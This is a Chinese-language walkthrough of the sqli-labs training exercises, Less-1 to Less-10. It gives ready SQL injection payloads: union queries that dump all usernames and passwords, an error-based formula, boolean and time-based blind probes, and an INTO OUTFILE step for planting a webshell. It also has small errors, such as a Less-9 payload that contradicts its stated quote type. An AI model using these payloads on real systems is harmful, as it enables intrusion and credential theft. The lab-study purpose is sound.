有时在URL注入时,#不能起到注释作用,这时可以用 - - + 来进行注释。
Less-1:
首先,输入/?id=1
,发现页面正常。输入/?id=1'
页面错误,在 '
后面加上 --+
注释之后页面正常,说明sql语句为id='$id'
,为单引号闭合的字符型注入现在可以利用单引号闭合与 --+
注释来进行注入。
利用order by 进行排序来获得字段数,发现/?id=1' order by 3--+
页面正常,
/?id=1' order by 4--+
页面报错,所以有三个字段。利用union联合查询,输入一个不存在的id,(例如id=0,8,555555),
/?id=0' union select 1,2,3--+
发现有2,3两个页面显示位,先用/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
,在your login name后显示出所有数据库名,用select database()
查询出数据在security数据库中,用select group_concat(table_name) from information_schema.tables where table_schema='security'
查询出security数据库中所有的数据表名,用select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'
查询security数据库中的users数据表中的字段名,再用/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
就可以查询出这个数据表里所有的用户名和密码了。
Less-2:
首先,输入/?id=1
,发现页面正常。输入/?id=1'
页面错误,输入/?id=1'--+
页面错误,输入/?id=1')--+
页面错误,说明sql语句可能为数字型注入,所以可以直接写 --+
注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。
Less-3:
首先,输入/?id=1
,发现页面正常。输入/?id=1'--+
页面错误,输入/?id=1')--+
页面正常,说明为 ‘)
闭合,所以可以用 ’)
和--+
注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。
Less-4:
首先,输入/?id=1
,发现页面正常。输入/?id=1')--+
页面正常,用order by 排序,页面无任何变化,改为/?id=1“--+
页面有变化,说明为 ”)
闭合,所以可以用 “)
和--+
注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。
注意: 本题源代码sql语句中虽然是$id=($id)
,但是上面有个$id=' " '.$id.' " ';
这个意思是:把$id变成"$id"
,所以sql语句中的实质是$id=("$id")
。
Less-5:
首先输入?id=5
,页面正常,然后用联合查询,页面无变化,说明没有显示位无法利用联合查询,输入?id=5'
页面出现报错提示,这时可以用报错查询。
(1).报错查询公式:AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)
(2).其中payload为想要使用的sql语句,该语句最多输出64个字符。
(3).在输出信息之后页面会额外输出一个1,这个1是floor报错语句中输出的一部分(无论输出什么结果,都会有这个1)。
(4).有时子句中的输出超过了64个字符这是因为使用了group_concat()
函数,group_concat()
函数会将返回信息拼接成一行显示,所以可以用limit来限制输出。
(5).之后在子句中就可以使用联合查询了,详细过程参考Less-1。
Less-6:
本关与Less-5的不同之出在于使用了双引号 "
闭合,其余具体过程参考Less-5。
Less-7:
向其中写入一句话木马,然后使用菜刀连接就行了。
payload:?id=1’))UNION SELECT 1,2,’’ into outfile “c:\wamp\www\sqllib\Less-7\index.php”–+
Less-8:
(1)首先用不同的方式进行闭合,发现是单引号闭合,然后利用mid(database(),1,1)
函数,通过改变第一个1来查询出数据库的拼写字母,最后得出数据库名。
(2)用?id=8' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1)1,1))=114--+
查询出第一个数据库的第一个数据表的首字母,最后查询出数据表的名字。之后继续用布尔盲注就可以查询出数据了。
Less-9:
根据题目信息,可以知道是基于单引号闭合的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+
。
Less-10:
基于双引号的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+
字母大家可以自己测试。